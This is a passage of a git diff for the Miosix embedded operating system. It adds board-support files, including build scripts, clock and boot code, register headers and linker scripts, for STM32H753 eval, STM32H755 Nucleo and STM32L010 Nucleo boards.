You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "drivers/clock/stm32h7_pll.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + SystemInit(); + startPll(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3db6dbbb3 --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,27 @@ +#pragma once + +//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +//includes core_cm7.h. Do not include core_cm7.h before. +#define STM32H753xx +#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32h742,h743,h753,h750 RCC synchronization is required per the reference +//manual (RM0433 section 8.5.10, although the synchonization mechanism described +//is different). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 149, so there are 150 +#define MIOSIX_NUM_PERIPHERAL_IRQ 150 diff --git a/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..6861b8b5c --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp.cpp @@ -0,0 +1,125 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32h7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | + RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | + RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | + RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | + RCC_AHB4ENR_GPIOIEN | RCC_AHB4ENR_GPIOJEN | + RCC_AHB4ENR_GPIOKEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + GPIOI->OSPEEDR=0xaaaaaaaa; + GPIOJ->OSPEEDR=0xaaaaaaaa; + GPIOK->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + //FIXME +// basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..2fa5b097c --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + //Led is connected to VCC, so to turn it on the GPIO has to be low + _led::low(); +} + +inline void ledOff() +{ + _led::high(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/openocd.cfg b/miosix/arch/board/stm32h753xi_eval/openocd.cfg similarity index 100% rename from miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/openocd.cfg rename to miosix/arch/board/stm32h753xi_eval/openocd.cfg diff --git a/miosix/arch/board/stm32h753xi_eval/unikernel.ld b/miosix/arch/board/stm32h753xi_eval/unikernel.ld new file mode 100644 index 000000000..b533fd5e9 --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32h753 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* NOTE: for now wer support only the AXI SRAM */ + ram(wx) : ORIGIN = 0x24000000, LENGTH = 512K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32h755zi_nucleo/CMakeLists.txt b/miosix/arch/board/stm32h755zi_nucleo/CMakeLists.txt new file mode 100644 index 000000000..4cad3c5d6 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/CMakeLists.txt @@ -0,0 +1,37 @@ +## +## CMakeLists.txt for board stm32h755zi_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32h7) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM (file unikernel.ld) + # 2) Same as 1) but space has been reserved for a process pool, allowing + # to configure the kernel with "#define WITH_PROCESSES" + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32H755ZI_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32H755ZI_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32h755zi_nucleo/Makefile.inc b/miosix/arch/board/stm32h755zi_nucleo/Makefile.inc new file mode 100644 index 000000000..14a6c3ef6 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32h755zi_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32h7 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32H755ZI_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32H755ZI_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32h755zi_nucleo/boot.cpp b/miosix/arch/board/stm32h755zi_nucleo/boot.cpp new file mode 100644 index 000000000..4d5f5ce35 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/boot.cpp @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "drivers/clock/stm32h7_pll.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + SystemInit(); + startPll(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..6b6f20599 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,28 @@ +#pragma once + +//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +//includes core_cm7.h. Do not include core_cm7.h before. +#define STM32H755xx +#define CORE_CM7 +#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32h745,h755,h747,h757 RCC synchronization is required per the reference +//manual (RM0399 section 9.5.10, although the synchonization mechanism described +//is different). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 149, so there are 150 +#define MIOSIX_NUM_PERIPHERAL_IRQ 150 diff --git a/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..44c829a29 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,123 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32h7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | + RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | + RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | + RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | + RCC_AHB4ENR_GPIOJEN | RCC_AHB4ENR_GPIOKEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + GPIOJ->OSPEEDR=0xaaaaaaaa; + GPIOK->OSPEEDR=0xaaaaaaaa; + + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..9d867fb48 --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/openocd.cfg b/miosix/arch/board/stm32h755zi_nucleo/openocd.cfg similarity index 100% rename from miosix/arch/cortexM7_stm32h7/stm32h755zi_nucleo/openocd.cfg rename to miosix/arch/board/stm32h755zi_nucleo/openocd.cfg diff --git a/miosix/arch/board/stm32h755zi_nucleo/processes.ld b/miosix/arch/board/stm32h755zi_nucleo/processes.ld new file mode 100644 index 000000000..f65f4138f --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/processes.ld @@ -0,0 +1,19 @@ +/* + * Linker script for stm32h755 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 384K; + +MEMORY +{ + /* NOTE: the other 1MB flash must contain the other core reset vector */ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + /* NOTE: for now we support only the AXI SRAM */ + ram(wx) : ORIGIN = 0x24000000, LENGTH = 512K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32h755zi_nucleo/unikernel.ld b/miosix/arch/board/stm32h755zi_nucleo/unikernel.ld new file mode 100644 index 000000000..6bf74a3ee --- /dev/null +++ b/miosix/arch/board/stm32h755zi_nucleo/unikernel.ld @@ -0,0 +1,15 @@ +/* + * Linker script for stm32h755 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* NOTE: the other 1MB flash must contain the other core reset vector */ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + /* NOTE: for now we support only the AXI SRAM */ + ram(wx) : ORIGIN = 0x24000000, LENGTH = 512K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32l010rb_nucleo/CMakeLists.txt b/miosix/arch/board/stm32l010rb_nucleo/CMakeLists.txt new file mode 100644 index 000000000..74a75ce95 --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32l010rb_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32l0) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/delays.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -DBOARD_STM32L010RB_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -DBOARD_STM32L010RB_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32l010rb_nucleo/Makefile.inc b/miosix/arch/board/stm32l010rb_nucleo/Makefile.inc new file mode 100644 index 000000000..e08290f30 --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32l010rb_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l0 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/delays.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -DBOARD_STM32L010RB_NUCLEO +BOARD_CXXFLAGS := -DBOARD_STM32L010RB_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32l010rb_nucleo/boot.cpp b/miosix/arch/board/stm32l010rb_nucleo/boot.cpp new file mode 100644 index 000000000..fbf0daed1 --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/boot.cpp @@ -0,0 +1,83 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/arch_registers.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQsetupClockTree() +{ + //TODO: shouldn't we select voltage range 1 too? Don't have this board so can't test + static_assert(hseFrequency==8000000,"Unsupported HSE oscillator frequency"); + static_assert(cpuFrequency==32000000,"Unsupported target SYSCLK"); + + // Check if PLL is used as system clock + if ((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL) + { + // Select HSI as system clock + RCC->CFGR = (RCC->CFGR & (uint32_t)~RCC_CFGR_SW) | RCC_CFGR_SW_HSI; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_HSI) {} + } + // Disable PLL + RCC->CR &= (uint32_t)~RCC_CR_PLLON; + while(RCC->CR & RCC_CR_PLLRDY) {} + + // Enable HSE with bypass + RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP; + while((RCC->CR & RCC_CR_HSERDY) == 0) {} + + // Set flash latency to 1 wait state + FLASH->ACR |= FLASH_ACR_LATENCY; + + // Set PLL multiplier to 12 (HSI is 8MHz, gives 96MHz) and divider by 3 + // 96MHz is needed for the 48MHz output to work correctly (it is hardcoded + // to divide by 2) + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLMUL | RCC_CFGR_PLLDIV)) + | (RCC_CFGR_PLLMUL12 | RCC_CFGR_PLLDIV3); + // Set PLL source + RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLSRC)) | RCC_CFGR_PLLSRC_HSE; + // Enable PLL + RCC->CR |= RCC_CR_PLLON; + while ((RCC->CR & RCC_CR_PLLRDY) == 0) {} + + // Set PLL as system clock + RCC->CFGR |= RCC_CFGR_SW_PLL; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) {} +} + +void IRQmemoryAndClockInit() +{ + // For L0 microcontrollers SystemInit is basically empty, + // but we call it anyway for good measure. + SystemInit(); + IRQsetupClockTree(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..8fef8eaad --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32xxxx.h before core_xxx.h, there's some nasty dependency +#define STM32L010xB +#include "CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h" +#include "CMSIS/Include/core_cm0plus.h" +#include "CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l010 RCC synchronization is required per the device errata +//(ES0251 section 2.1.1). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 29, so there are 30 +#define MIOSIX_NUM_PERIPHERAL_IRQ 30 diff --git a/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..f3e54301a --- /dev/null +++ b/miosix/arch/board/stm32l010rb_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,117 @@ +/*************************************************************************** + * Copyright (C) 2018 by Silvano Seva * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received 